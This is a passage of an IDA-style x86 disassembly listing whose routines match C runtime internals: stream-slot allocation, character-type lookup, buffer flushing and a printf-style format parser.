		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
